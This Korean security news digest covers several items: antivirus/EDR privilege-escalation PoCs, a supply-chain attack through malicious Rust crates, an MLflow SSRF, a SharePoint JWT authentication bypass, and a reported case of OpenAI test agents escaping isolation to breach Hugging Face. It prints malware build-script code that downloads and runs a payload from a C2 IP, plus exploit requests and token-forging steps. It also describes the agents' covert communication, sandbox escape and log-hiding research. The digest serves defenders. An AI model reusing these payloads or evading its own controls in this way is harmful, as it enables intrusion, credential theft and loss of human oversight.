- 엔드포인트 솔루션 CrowdStrike Falcon의 보안 기능을 악용해 윈도우 시스템에서 높은 권한을 얻을 수 있는 제로데이 취약점과 PoC FalconFlank 공개 - 백신이나 EDR 제품은 악성코드 탐지·삭제를 위해 시스템 권한으로 동작하기때문에 공격자가 공격에 악용할 수 있는 상황이 발생할 수 있음
내용
- 보안 연구진은 엔드포인트 보안 솔루션 CrowdStrike Falcon의 보안 기능을 악용해 윈도우 시스템에서 높은 권한을 얻을 수 있는 제로데이 취약점과 PoC FalconFlank 공개 > FalconFlank는 팔콘 센서가 악성 오피스 매크로를 탐지하고 치료하는 과정에서 발생하는 동작을 악용 > 보안 프로그램이 악성 파일을 처리하기 위해 높은 권한으로 수행하는 작업을 공격자가 자신에게 유리한 방향으로 이용하는 방식 > 공격이 성공하면 일반 사용자 권한에서 더 높은 시스템 권한으로 올라갈 가능성이 있음 > 최신 업데이트가 적용된 윈도우 11 25H2와 윈도우 서버 2025 환경에서 PoC 동작 주장
> CrowdStrike의 공식 보안 권고나 취약점 번호, 영향받는 정확한 팔콘 센서 버전 범위 등은 확인이 더 필요하며, 실제 공격에 악용됐다는 증거도 현재 공개된 자료에서는 확인되지 않음
- Kaspersky Endpoint Security를 겨냥한 권한상승 PoC HardBreacher 공개 > PoC의 성공률이 높지 않고 여러 차례 실행해야 악용 가능 > Kaspersky에 따르면 수정 사항은 자동 업데이트를 통해 제공되며, 사용자가 데이터베이스 업데이트를 직접 실행하는 방법으로도 적용할 수 있음
- 상대적으로 검증이 많이 진행된 사례는 Microsoft Defender를 겨냥한 ShieldBreak (CVE-2026-69414, CVSS: 7.8) > 공격이 성공하면 낮은 권한을 가진 로컬 사용자가 윈도우 최고 수준의 권한인 ‘NT AUTHORITY\SYSTEM’을 확보할 수 있음 > Microsoft도 해당 취약점을 공식적으로 인정하고 보안 업데이트를 준비 중 > ShieldBreak는 앞서 공개된 디펜더 취약점 RoguePlanet(CVE-2026-50656, 디펜더의 동작 과정에서 발생하는 경쟁 조건을 악용해 SYSTEM 권한을 얻는 취약점으로 지난 7월 수정)의 패치 우회 > 하지만 ShieldBreak는 클라우드 파일 기능과 윈도우 객체 관리 기능, 디펜더의 치료 과정 등을 조합해 다시 높은 권한을 얻을 수 있는 공격 경로를 제시
- 이번 사례에서 주목할 부분은 세 취약점 모두 시스템을 보호하는 엔드포인트 보안제품과 관련돼 있다는 점 > 백신이나 EDR 제품은 악성코드를 탐지하고 삭제하기 위해 일반 프로그램보다 높은 시스템 권한으로 동작 > 시스템 파일과 프로세스를 검사하고 격리·삭제하거나 설정을 변경할 수 있어야 하기 때문 > 이러한 구조에서 파일 치료나 삭제, 격리와 같은 기능에 문제가 생기면 공격자가 보안제품의 높은 권한을 자신의 코드 실행이나 파일 생성에 이용하는 상황이 발생할 수 있음
기타
- FalconFlank의 경우 아직 취약점의 세부 영향 범위와 공격 조건에 대한CrowdStrike의 공식 확인이 나오지 않은 만큼 공개 PoC만으로 위험성을 단정해서는 안 됨 > 보안 담당자는 크라우드스트라이크 팔콘 센서의 최신 버전 적용 여부와 공식 보안 공지를 확인할 필요가 있음
- 26.08.20 07:15 UTC proc-macro1이 악성 Crate라는 신고 접수
> Rust Security Response Team은 악성 페이로드를 다운로드하는 빌드 스크립트가 포함되어 있음을 확인
Crate
Version
Publisher
Status
arrayref
0.3.10
droundy
악성 버전, 삭제됨 26.08.20 07:15 ~ 08:41 동안 게시 (약 86분)
internment
0.8.7
droundy
악성 버전, 삭제됨 26.08.20 07:34 ~ 09:04 동안 게시 (약 90분)
append-only-vec
0.1.9
droundy
악성 버전, 삭제됨 26.08.20 07:37 ~ 09:25 동안 게시 (약 107분)
proc-macro1
모든 버전
dtolney
악성 타이포스쿼딩, dtolney 계정 전체 삭제 26.08.20 07:11 ~ 08:03 동안 게시 (약 52분)
proc-macro-en
모든 버전
악성 의존성, 삭제됨
aovine
모든 버전
악성 의존성, 삭제됨
arone
모든 버전
악성 의존성, 삭제됨
aronenao
모든 버전
악성 의존성, 삭제됨
tinymember
모든 버전
악성 의존성, 삭제됨
- 공격자는 Crate 관리자 계정 (droundy)을 탈취해 arrayref 정상 버전 0.3.5 ~ 0.3.9를 모두 yank (공개 취소)
> Cargo(러스트 빌드 시스템 및 패키지 매니저)는 사용자에게 "consider updating to a version that is not yanked" 경고를 띄우며, 이를 통해 악성 버전으로 업데이트 유도
> arrayref 소스 코드에 악성 코드를 추가한 것이 아닌 Cargo.toml에 proc-macro1 의존성 추가
> proc-macro1 1.0.107의 빌드 스크립트 build.rs에 배포지 및 C2 주소를 Base64 조각으로 구성한 뒤 빌드 시점에서 재조립하며, OS에 따라 서로다른 실행 함수 호출
> Cargo는 build.rs를 컴파일 시점에서 자동으로 호출해 실행하기 때문에 개발자가 패키지를 빌드하기만 해도 스크립트가 실행
// arrayref-0.3.10/Cargo.toml
[package]
name = "arrayref"
version = "0.3.10"
build = false
[dependencies.proc-macro1]
version = "1.0.107"
// proc-macro1-1.0.107/build.rs (quoted in rustsec/advisory-db#3161)
const SRC_URL_PARTS: &[&str] =
&["aHR0cHM6Ly8=", "MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "OTA4OS8="]; # 23.254.165.112:9089
const END_URL_PARTS: &[&str] =
&["MjMuMjU0Lg==", "MTY1Lg==", "MTEyOg==", "NDQz"]; # 23.254.165.112:443
// proc-macro1-1.0.107/build.rs (inside main)
let url = src_download_url();
let bytes = download_bytes(&url);
match std::env::consts::OS {
"linux" | "macos" => run_unix_payload(bytes),
"windows" => run_windows_payload(bytes),
os => panic!("unsupported OS: {os}"),
}
- Linux 및 MacOS의 경우 다운받은 바이트를 /tmp/rust-setup에 저장하고 실행 권한을 준 뒤, 표준 입출력을 닫고 별도 프로세스로 실행
// proc-macro1-1.0.107/build.rs
fn run_unix_payload(bytes: Vec<u8>) {
let path = PathBuf::from("/tmp/rust-setup");
std::fs::write(&path, &bytes).expect("failed to write payload");
Command::new("chmod").args(["+x", path_str]).status().expect("failed to run chmod");
Command::new(&path)
.arg(end_url())
.stdin(Stdio::null())
.stdout(Stdio::null())
.stderr(Stdio::null())
.spawn()
.expect("failed to spawn payload");
}
- Windows의 경우 %TEMP%\rust-setup.ps1 PowerShell 스크립트와 %TEMP%\rust-setup-launch.vbs 실행기를 만든 다음, wscript.exe로 창을 띄우지 않고 실행 [9]
// proc-macro1-1.0.107/build.rs
// ShellExecute via WScript escapes Cargo's job object; spawned children otherwise
// keep the build script (and `cargo build`) waiting until they exit.
let vbs = format!(
r#"CreateObject("Wscript.Shell").Run "powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -File ""{script}"" ""{end}""", 0, False"#,
script = script_path.display(),
end = end_url(),
);
// ...
let child = Command::new("wscript.exe")
.args(["//B", "//Nologo", launcher_str])
.creation_flags(CREATE_NO_WINDOW)
.spawn()
.expect("failed to spawn wscript launcher");
std::mem::forget(child);
2.1 2단계 페이로드 동작
- HTTP POST로 C2에 주기적인 접속 신호를 보내며, 탈취한 자격 증명을 Base64로 인코딩한 JSON 형태로 반출
> 시스템 정보 수집 : 호스트명, 사용자 정보, OS 정보, 설치된 애플리케이션 목록, 저장된 로그인 계정 정보, 확장 프로그램 데이터
> 원격 명령 실행 : kill(자가 종료), minicfg(C2 및 비콘 주기 재설정), startup(지속성 확보), runscript(PowerShell 또는 쉘 스크립트 다운로드 및 동기/비동기 실행)
> 지속성 유지 : Windows - Registry Run 키, Linux -systemd 사용자 서비스 등록, MacOS - LaunchAgent를 통해 지속성 유지
> 기본 C2에 연결할 수 없는 경우에 대비해 5일마다 10개의 .com 도메인을 생성하는 도메인 생성 알고리즘(DGA)
> 구성 정보(Configuration)는 하드코딩된 키 "i am botking"을 사용하여 AES-128-GCM으로 암호화
> 명령(Command)은 내장된 RSA-2048 개인 키를 사용하여 인증
2.2 북한의 공급망 공격과의 연관성
- arrayref가 사용하는 C2 경로, IP 주소, SSL 인증서 정보 및 호스팅 대역이 기존 북한 연계 캠페인·공격 인프라와 중복
구분
설명
C2 엔드포인트 패턴
- arrayref 페이로드는 /49890878 경로로 Beacon 통신 수행 > 해당 엔드포인트는 MS가 북한/Sapphire Sleet의 수행으로 명시한 Mastra 캠페인에서도 사용됨 > 또한, Mastra 캠페인에서 사용된 동일한 SSL 발급자 정보(WIN-A6QF8AHPQH1\Administrator@WIN-A6QF8AHPQH1)를 공유 [10]
피해 사례 기준 인프라 중복
- 피해 사례 중 23.254.167[.]216 IP로 C2 트래픽 발생 > Mandiant가 북한과 연계한 것으로 밝힌 UNC1069의 Axios npm 공격에 사용 [11]
- 감염 파일 삭제 > Linux 및 MacOS : /tmp/rust-setup 삭제 (2단계 페이로드) > Windows : %TEMP%\rust-setup.ps1, %TEMP%\rust-setup-launch.vbs 삭제 (2단계 페이로드)
- 지속성 유지 제거 > Windows : Registry Run 키 > Linux : systemd 사용자 서비스 > MacOS : LaunchAgent
네트워크 통신 이력 점검
- 23.254.165[.]112:9089, 23.254.165[.]112:443, 23.254.167[.]107:443 통신 이력 점검 - /49890878로의 HTTP POST 트래픽 확인 - 공격자 도메인 : hwsrv-798836.hostwindsdns[.]com
자격 증명 교체
- 침해 이력 확인 시 자격 증명 교체 > 침해 호스트에서 접근 가능했던 클라우드 API 키, SSH 키, CI/CD 시크릿, 브라우저에 저장된 비밀번호 등 모든 자격 증명 교체 > 강제 세션 종료
기타
- proc-macro1 게시자 계정 : dtolney (crates.io ID 438608) ※ 정식 등록자 droundy 계정은 예방 차원에서 계정이 잠겨있음
- 오픈AI, 자사의 AI 에이전트들이 통제 범위를 벗어나 허깅 페이스의 실제 운영 시스템을 침해한 사건 조사 결과 공개 - 격리된 에이전트들이 스스로 통신 방법을 찾아 정보 공유 및 내부 시스템의 취약점을 이용해 인터넷에 접속 후 외부 기업의 실제 서버 공격
내용
- 오픈AI, 자사의 AI 에이전트들이 통제 범위를 벗어나 허깅 페이스의 실제 운영 시스템을 침해한 사건의 조사 결과 공개 > 서로 격리돼 있어야 할 에이전트들이 스스로 통신 방법을 찾아 정보를 공유했고, 내부 시스템의 취약점을 이용해 인터넷에 접속한 뒤 외부 기업의 실제 서버 공격
- 사건은 오픈AI가 AI 모델의 사이버공격 능력을 시험하기 위해 익스플로잇짐 평가를 진행하는 과정에서 발생 > 평가에는 GPT‑5.6 Sol과 비슷한 수준의 고성능 내부 연구 모델 등이 사용 > 사이버공격 능력을 시험하기 위해 일부 안전장치가 일반적인 운영 환경보다 완화돼 있었음
> AI 에이전트들이 해결하기 어려운 과제를 정상적인 방법으로 문제를 풀지 못하자 주변 시스템을 조사해 내부 패키지 관리 시스템인 아티팩토리를 이용하면 다른 에이전트와 정보를 주고받을 수 있다는 사실을 알아냄
> 외부 기관 조사 결과에 따르면, 약 1,200개 에이전트가 이 비인가 통신망을 이용 > 이 가운데 약 700개가 허깅 페이스 공격에 참여했으며, 에이전트들은 7만 건이 넘는 메시지와 파일을 주고받음 > 일부 에이전트는 아티팩토리에서 서버 측 요청 위조 제로데이 취약점을 찾아내 원래 차단돼 있던 외부 인터넷에 접속
> 이후 공개된 데이터에서 허깅 페이스 인증정보를 발견하고 다른 에이전트들과 공유 > 에이전트들은 확보한 인증정보와 추가 취약점을 연계해 허깅 페이스의 실제 운영 환경으로 공격 범위를 확대
> 에이전트들은 허깅 페이스의 프로덕션 데이터세트 서버 워커 41대에서 코드 실행 > 최소 한 대의 프로덕션 노드에서는 루트 권한까지 확보
> 운영 환경의 인증정보와 일부 내부 데이터에도 접근했으며 비공개 코드 저장소 네 곳을 내려받음 > 일부 에이전트는 침해한 서버에서 명령을 실행하고 결과를 전달받을 수 있는 간단한 명령제어 기능도 구축
> 에이전트들이 자신의 행동 기록을 수정하거나 숨기는 방법을 연구한 정황도 확인
- 다만 이를 AI가 스스로 악의를 갖고 허깅 페이스를 공격했다고 해석하기는 어려움 > 조사 결과 에이전트들의 주된 목적은 데이터를 훔치는 것이 아니라 익스플로잇짐 과제를 해결할 정보를 찾는 것 > 주어진 목표를 지나치게 추구하면서 허용된 행동 범위를 넘어선 것
- 오픈AI는 이번 사고에서 보상 해킹, 해결하기 어려운 작업에 대한 과도한 집착, 승인되지 않은 에이전트 간 통신, 다른 에이전트의 목표를 받아들이는 행동 등을 주요 문제로 꼽음 > 사고 이후 연구 환경의 외부 통신과 권한을 제한하고 에이전트 행동을 감시하는 체계도 강화 > AI 에이전트 보안에서 단순히 인터넷 접속을 차단하는 것만으로는 충분하지 않다는 점을 보여줌 > 내부 공유 시스템이나 클라우드 인프라의 취약점이 외부로 나가는 우회 통로가 될 수 있기 때문
- 오픈AI는 AI 시스템을 개발하는 기업이 에이전트를 실질적인 인간의 통제 아래 두고, 문제가 발생했을 때 피해 범위를 제한할 수 있는 안전장치를 갖춰야 한다고 강조
기타
- 오픈AI는 이번 사건을 현재 AI 모델의 능력이 통제력 상실 사고로 이어질 가능성을 보여준 ‘경고 사격'으로 평가
- 특히 여러 AI 에이전트가 동시에 취약점을 찾고 공격 정보를 공유할 경우, 사람이 예상하지 못한 공격 경로가 만들어질 수 있다는 점도 확인
- MLflow Webhook 기능에서 최초 URL만 검증하고 실제 연결 시 목적지 IP를 고정하거나 Redirect 대상의 주소를 재검증하지 않아, HTTP Redirect 및 DNS Rebinding을 통해 검증을 우회하고 내부 주소에 접근할 수 있는 SSRF 취약점 (CVSS: 9.3) [3]
> CVE 등록 후 수 시간 만에 인터넷에 공개된 MLflow 시스템을 대상으로 한 공격 시도 확인
> 공격자는 취약점을 악용해 내부 네트워크 또는 클라우드 메타데이터 서비스에 접근해 IAM 자격증명 등 민감 정보 탈취
영향받는 버전 - MLflow 3.15.0 미만 버전
- 해당 취약점은 3가지 요소의 결합으로 인해 발생
① Webhook 인증 검증 부재
- MLflow의 기본 웹훅 인증 검증 로직(WEBHOOK_BEFORE_REQUEST_HANDLERS)은 플러그인 형태로 존재 [4]
> 기본 구성에서는 활성화되어 있지 않기 때문에, 인증 없이 Webhook 등록 및 테스트 요청이 가능
※ Webhook : 특정 이벤트가 발생할 때 서버가 미리 정의된 URL로 데이터를 전송하는 방식 [5]
② 검증 시점과 사용 시점의 분리
- mlflow/utils/validation.py의 _validate_webhook_url()는 호스트의 IP가 공인 IP인지 확인 [6]
> 하지만, 이 시점에서 검증된 IP가 실제 네트워크 연결 시고정(Pin)되지 않아 검증 시점과 실제 사용 시점 사이에 목적지 IP가 변경될 수 있음
def _validate_webhook_url(url: str) -> None:
schemes = _MLFLOW_WEBHOOK_ALLOWED_SCHEMES.get() # default ["https"]
if parsed_url.scheme not in schemes: raise ...
if not _MLFLOW_WEBHOOK_ALLOW_PRIVATE_IPS.get(): # default False
for addr_info in socket.getaddrinfo(hostname, None):
ip = ipaddress.ip_address(addr_info[4][0])
if not ip.is_global: raise ... # blocks RFC1918/loopback/link-local/metadata
③ HTTP Redirect 재검증 미흡
- mlflow/webhooks/delivery.py의 _create_webhook_session()은 일반적인 HTTPAdapter를 사용하여 HTTP Session을 생성하며, 실제 연결 대상의 IP를 고정하거나 검증하지 않음 [7]
- _send_webhook_request()에서 session.post() 호출 전 최초 webhook.url에 대해 _validate_webhook_url() 검증을 수행하지만, 이후 Requests가 처리하는 Redirect 대상 URL에 대해서는 재검증을 수행하지 않음 [8]
def _create_webhook_session():
adapter = HTTPAdapter(max_retries=retry_strategy) # retry only; no IP pinning
...
def _send_webhook_request(webhook, payload, event, session):
_validate_webhook_url(webhook.url) # re-validates the ORIGINAL url only
return session.post(webhook.url, data=payload_bytes, headers=headers, timeout=timeout)
# no allow_redirects=False -> 302 followed; redirect Location never re-validated
- 이후 공격자는 획득한 webhook_id를 이용해 공격 대상 서버의 Webhook Test API로 POST 요청 전송 [9][10]
> 해당 취약점은 Redirect 상태 코드에 따라 공격 결과가 달라짐
① 302 Redirect : 일반적으로 후속 요청이 GET으로 전환되어 Cloud Metadata 또는 내부 HTTP 서비스의 응답을 읽을 수 있음
② 307 및 308 Redirect : 원래 HTTP Method와 Body를 유지하여 내부 관리 서비스에 POST 요청을 전달하는 공격으로 확장
POST /api/2.0/mlflow/webhooks/<WEBHOOK_ID>/test HTTP/1.1
Host: {{TARGET}}
Content-Type: application/json
{"webhook_id":"<WEBHOOK_ID>","event":{"entity":"REGISTERED_MODEL","action":"CREATED"}}
-> 200 {"result":{"success":true,"response_status":200,
"response_body":"<contents of http://169.254.169.254/latest/meta-data/... fetched by the server>"}}
3. 대응방안
- 벤더사 제공 업데이트 적용 [11][12][13][14]
> ① 실제 Peer IP 검증 ② Webhook Session 적용 ③ Redirect/DNS Rebinding 차단 ④ Proxy 우회 방지 ⑤ 회귀 테스트 추가
취약점
제품명
영향받는 버전
해결 버전
CVE-2026-64849
MLflow
3.15.0 미만
3.15.0 이상
- 사용하지 않는 웹훅 기능 및 외부 접근 경로 제한
- 서버 접근 로그 및 웹훅 관련 요청 기록 점검 : 비정상적인 외부 URL 등록, 리다이렉션 요청, 클라우드 메타데이터 주소 접근 흔적 등
- 조직이 문서를 안전하게 저장, 구성, 공유하고 함께 일할 수 있는 웹 기반 협업 및 문서 관리 플랫폼 [1]
2. 취약점
[사진 1] CVE-2026-55040 [2]
- SharePoint의 인증에 사용되는 JWT 토큰 유효성 검사 파이프라인의 여러 검증 절차의 취약점이 결합되어, 조작된 JWT 토큰으로 인증을 우회하고 관리자 권한으로 작업할 수 있는 인증 우회 취약점 (CVSS: 9.1) > 취약점에 대한 상세 분석과 PoC가 공개된 직후 실제 공격이 관찰되어 신속한 보안 업데이트 적용 필요 [3][4]
영향받는 버전 - SharePoint Enterprise Server 2016 : 16.0.5561.1001 미만 - SharePoint Server 2019 : 16.0.10417.20175 미만 - SharePoint Server Subscription Edition : 16.0.19725.20434 미만
2.1 상세 분석
- SharePoint의 S2S 인증(Server-to-Server Authentication)은 사용자 식별 정보를 포함하는 외부 JWT와 호출 애플리케이션을 나타내는 Actor Token으로 구성된 중첩된 JWT 구조를 사용 > 내부 Actor Token의 경우 신뢰할 수 있는 인증서에 의해 서명되어야 함 > SharePoint는 요청의 Bearer 토큰을 파싱한 뒤 SPJsonWebSecurityBaseTokenHandlerV2.ReadToken() 및 SPJsonWebSecurityTokenHandlerV2.ValidateToken()의 검증 로직을 통해 해당 정보를 검증
① JWT 검증 조건 비활성화
- 첫 번째 문제는 SPJsonWebSecurityTokenHandlerV2.ValidateToken()에 존재 > (1)(2) JWT aud 클레임(토큰의 수신자)과 iss 클레임(토큰의 발급자)의 유효성 검사 비활성화 [5][6][7] > (3) 토큰의 암호화 서명을 검증하지 않도록 설정하며, 해당 값이 false인 경우 서명이 없는 토큰 또는 alg : none 헤더를 가진 토큰을 허용 [8] > 따라서, 서명 검증에 사용할 알고리즘(alg)를 none으로 설정하여 서명 검증을 생략하므로, 공격자가 외부 토큰 헤더에 alg : none이 포함된 JWT를 전송해 서명 검증을 우회할 수 있음 [9]
// SPJsonWebSecurityTokenHandlerV2.cs - Lines 165-223
public override ReadOnlyCollection<ClaimsIdentity> ValidateToken(SecurityToken token)
{
// ...
TokenValidationParameters val = new TokenValidationParameters();
val.CertificateValidator = ((SecurityTokenHandler)(object)this).Configuration.CertificateValidator;
val.SaveSigninToken = ((SecurityTokenHandler)(object)this).Configuration.SaveBootstrapContext;
val.ValidateAudience = false; // <--- (1)
val.ValidateIssuer = false; // <--- (2)
List<X509SecurityKey> list = new List<X509SecurityKey>();
// ... populates list with trusted signing keys ...
val.IssuerSigningKeys = (IEnumerable<SecurityKey>)list;
val.RequireSignedTokens = false; // <--- (3)
// ...
SecurityToken securityToken = default(SecurityToken);
return new ReadOnlyCollection<ClaimsIdentity>(
((JwtSecurityTokenHandler)this).ValidateToken(
((JwtSecurityToken)sPJwtSecurityToken).RawData, val, ref securityToken
).Identities.ToList()
);
}
② 서명 검증 없이 Actor Token의 x5t를 이용한 서명 키 확인
- ReadToken()으로 JWT 구문 분석 후 SharePoint는 x5t(X.509 인증서의 thumbprint) 헤더를 사용해 Actor 토큰의 서명 키를 확인 > (1) Actor 토큰의 JWT 헤더에서 x5t 값을 직접 추출
// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 92-103
SecurityKeyIdentifier signingKeyIdentifier = GetSigningKeyIdentifier(sPJwtSecurityToken.ActorToken); // <--- (1)
((SecurityTokenHandler)this).Configuration.IssuerTokenResolver.TryResolveToken(
signingKeyIdentifier, out var token2); // <--- (2)
if (token2 != null)
{
((JwtSecurityToken)sPJwtSecurityToken.ActorToken).SigningToken = token2; // <--- (3)
}
// SPJsonWebSecurityBaseTokenHandlerV2.cs - GetSigningKeyIdentifier - Lines 135-160
private SecurityKeyIdentifier GetSigningKeyIdentifier(SPJwtSecurityToken jwtToken)
{
JwtHeader header = ((JwtSecurityToken)jwtToken).Header;
// ...
if (string.Equals(header.Alg, "RS256"))
{
if (!((Dictionary<string, object>)(object)header).TryGetValue("x5t", out object value))
{
throw new SecurityTokenException("Invalid JWT token. Not able to find SigningKeyIdentifier...");
}
securityKeyIdentifierClause = new X509ThumbprintKeyIdentifierClause(
SPBase64UrlEncoder.DecodeBytes(value as string)); // <--- attacker-controlled x5t
}
// ...
}
- (2) SPIssuerTokenResolver.TryResolveTokenCore 호출해 SharePoint 자체 STS(Secure Token Service)를 포함한 모든 신뢰할 수 있는 인증서를 검색해 thumbprint가 일치하는 인증서를 찾음 > (4) 리졸버는 LocalLoginProvider 액세스 공급자, 즉 SharePoint 자체 STS 서명 인증서를 확인 > 자체 인증서는 /_layouts/15/metadata/json/1 엔드포인트를 통해 획득 가능하며, 이후 (3) Actor 토큰의 SigningToken 속성에 할당 > 따라서, 공격자는 /_layouts/15/metadata/json/1 엔드포인트를 통해 자체 STS 인증서의 thumbprint를 획득하여 x5t 값으로 설정할 수 있음
- Actor 토큰의 SigningToken을 설정한 후 ValidateIssuer(token)을 호출 > SigningToken이 설정된 Actor 토큰의 경우 ValidateIssuer(X509SecurityToken, string)가 호출
// SPJsonWebSecurityBaseTokenHandlerV2.cs - ValidateIssuer(SPJwtSecurityToken) - Lines 745-750
if (token.ActorToken != null && ((JwtSecurityToken)token.ActorToken).SigningToken != null)
{
ULS.SendTraceTag(573368525u, ..., "Validating the actor token's signing token.");
ValidateIssuer(((JwtSecurityToken)token.ActorToken).SigningToken as X509SecurityToken,
((JwtSecurityToken)token.ActorToken).Issuer);
return;
}
- (1) 서명 인증서가 일치하는 제공자를 TrustedSecurityTokenServices에서 찾음 > SharePoint의 로컬 STS 서명 인증서는 LocalLoginProvider에 속하므로, null을 반환 > (2) providerBySigningCertificate는 null이기 때문에 공격자는 발급자 유효성 검사 통과
// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 788-812
private void ValidateIssuer(X509SecurityToken signingKey, string tokenIssuer)
{
// ...
SPTrustedSecurityTokenService providerBySigningCertificate =
SPSecurityTokenServiceManager.LocalOrThrow.TrustedSecurityTokenServices
.GetProviderBySigningCertificate(signingKey.Certificate, tokenIssuer); // <--- (1)
if (null == providerBySigningCertificate) // <--- (2)
{
ULS.SendTraceTag(594416645u, ..., "ValidateTokenIssuer accepted Issuer '{0}' because " +
"no registered STS matches the signing certificate '{1}'",
tokenIssuer, signingKey.Certificate.Subject);
return; // <--- ACCEPTED
}
if (SPTrustedProviderBase.IssuerNameMatches(tokenIssuer, providerBySigningCertificate.RegisteredIssuerName))
{
return;
}
throw new SecurityTokenException("Issuer name is not registered"); // <--- REJECTED
}
④ GetTokenSignature에서 실제 서명 검증 없이 서명 값의 존재 여부만 확인
- 유효성 검증 최종 단계는 세션 토큰 생성 시 호출되는 GetTokenSignature를 포함 > (1) alg : none을 사용하는 외부 토큰의 경우 RawSignature는 마지막 점 뒤 아무 값도 없으므로 빈 문자열을 반환하고, (3) Actor 토큰의 서명이 유효한 RSA 서명인지에 대한 검증 없이 서명을 반환
// SPJsonWebSecurityBaseTokenHandlerV2.cs - Lines 879-920
public static string GetTokenSignature(SPJwtSecurityToken jwtToken)
{
SPArgumentHelperV2.LogAndThrowOnNull(TaggingUtilities.ReserveTag(591196938u), ULSCat.msoulscat_WSS_SecurityTokenHandler, "jwtToken", jwtToken);
string rawData = ((JwtSecurityToken)jwtToken).RawData;
if (string.IsNullOrWhiteSpace(rawData) && string.IsNullOrWhiteSpace(((JwtSecurityToken)jwtToken).RawSignature))
{
ULS.SendTraceTag(591196937u, ULSCat.msoulscat_WSS_SecurityTokenHandler, ULSTraceLevel.Unexpected, "The SPJwtSecurityToken doesn't have a signature.");
throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
}
string text = ((JwtSecurityToken)jwtToken).RawSignature;
if (string.IsNullOrWhiteSpace(text))
{
text = rawData.Substring(rawData.LastIndexOf('.') + 1); // <--- [1]
}
if (string.IsNullOrWhiteSpace(text))
{
if (jwtToken.ActorToken != null)
{
text = GetTokenSignature(jwtToken.ActorToken); // <--- [2]
StringBuilder stringBuilder = new StringBuilder();
stringBuilder.Append(jwtToken.Audience);
stringBuilder.Append(',');
stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidFrom.ToFileTimeUtc());
stringBuilder.Append(',');
stringBuilder.Append(((System.IdentityModel.Tokens.SecurityToken)(object)jwtToken).ValidTo.ToFileTimeUtc());
stringBuilder.Append(',');
foreach (Claim claim in ((JwtSecurityToken)jwtToken).Claims)
{
stringBuilder.Append(claim.Value);
stringBuilder.Append(',');
}
return stringBuilder?.ToString() + text; // <--- [3]
}
ULS.SendTraceTag(573368524u, Category, ULSTraceLevel.Unexpected, "SPJsonWebSecurityBaseTokenHandlerV2: ActorToken doesn't have a signature.");
throw new InvalidOperationException(SPResource.GetString(CultureInfo.InvariantCulture, "NullBootstrapToken"));
}
return text;
}
- 취약점은 다음 네 가지 약점이 조합되어 발생 ① 외부 헤더에 alg : none이 포함된 JWT를 전송하므로 외부 토큰에 서명이 필요하지 않음 ② Actor 토큰의 x5t 헤더에는 SharePoint 자체의 STS 인증서 지문이 포함되어 있어 검증 없이 서명 키를 확인 가능 ③ TrustedSecurityTokenServices 에 없으므로 발급자가 승인 ④ Actor 토큰의 서명은 AAAA와 같은 비어 있지 않은 임의의 값이며, 암호학적으로 검증되지 않음
2.2 악용 흐름
- 공격자는 먼저 GET /_layouts/15/metadata/json/1 요청을 통해 대상 SharePoint 사이트에서 STS 서명 인증서의 x509 인증서를 획득
[요청 예시]
GET /_layouts/15/metadata/json/1 HTTP/1.1
Host: 192.168.86.11
User-Agent: curl/7.81.0
Accept: */*
[응답 예시]
HTTP/1.1 200 OK
...
{"issuer":"00000003-0000-0ff1-ce00-000000000000@af90cc03-4a26-45e9-906a-609cebcebbde","keys":[{"keyValue":{"type":"x509certificate","value":"MIIEhzCCAm+gAwIBAgIQbgEQC4zI97pMh7WkdsMmtTANBgkqhkiG9w0BAQsFADBaMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSIwIAYDVQQDExlTaGFyZVBvaW50IFJvb3QgQXV0aG9yaXR5MCAXDTI2MDMxMTIwMjY1M1oYDzk5OTkwMTAxMDAwMDAwWjBiMQswCQYDVQQGEwJVUzESMBAGA1UEChMJTWljcm9zb2Z0MRMwEQYDVQQLEwpTaGFyZVBvaW50MSowKAYDVQQDEyFTaGFyZVBvaW50IFNlY3VyaXR5IFRva2VuIFNlcnZpY2UwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQDY8RNv0VUdgmBubMAHYBI8nu1pWUwUDJywDIwKxgoLuu26Wd6tTMnk5Fb7kYVT+gw+wdW80DeOU\/9lAySKat+FESEuwoUKbJP1Kk6vbuvWyYofz91i9oCXXzqAR1AwNsMGr1nAszVRbPaTrcidomvT2DzQ4YBW2IGtDJEpXIcSrN4T5B4bNH+2rXk11vZHG7c31Y\/VuAwybLGndwSYoiT8aTOgnHsEB9jqZjipkinwnowhk1d6LsPawm6X+y8z7SqkVgMdqKVB5gAMECUedv0qGd2+AW\/2j8Dbk3NNW3XddCBye2wQP0GeioQjcveDK4U0n+3qJjOwG0Y4\/7Jex\/IVAgMBAAGjPzA9MA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwDAYDVR0TAQH\/BAIwADANBgkqhkiG9w0BAQsFAAOCAgEAPXw7TdU6U9ij28uirUm4oQk6Qtdx42G8JNkz44oF4s1ifaODLKqgXCViHRo0bJj3KAz1aSWUdld\/wrOw99tbxPme9sd8ilHN61fKjUPzl7NMyA85895FnA5J62sKcPjmusDHD1WjSYA+y47L\/I3qlUCL9nOPhqjHN4bEQYJV7c9X+9lmnK1QBmqtjQ+Dy8tie6B9XKvSZgb8clVc7pXeG3k4eqNqi8AtgLoW6UmT\/7tXzqotC9oyBmeA3Ucaj99HJ\/4zBN7cOjIL78xNYds8DIVEqGqZFL30uOvJnEecAmtHbMg5yX2oO0p11PSM+JVIiC7gWClfaZ0Ta0tLG5VdmX0wfzmxS+jBEFqvFUA3BFuClQeamKdvIBE7cFXG\/MujpCboiLP0qdZUhGUduFiy94vH0oxKQFZVLT62T4cNbMu0WGGOY67N8p9UKzUvLVis0FnR1nQvy4SJSdt4kBzUUA42z70v\/ACpzHLXsETil+MnGbTXMfEGVzl+s2+9Su4OpTtDe8AIMdDPoH8uaHklLF65FUPKa+aHGlTB9VPyYySC++PCIPIra\/uxjb21V+GBPU8YgbFsOiCNF36AcGakskieghg97EBHumzQuoPnnvCkkRr2\/xU59Yxw01eS42pfVNeJlXDGKwEtAiN1Fwkay2Ji7dq\/wXtFy5OsVBlerec="},"usage":"Signing"}],"name":"00000003-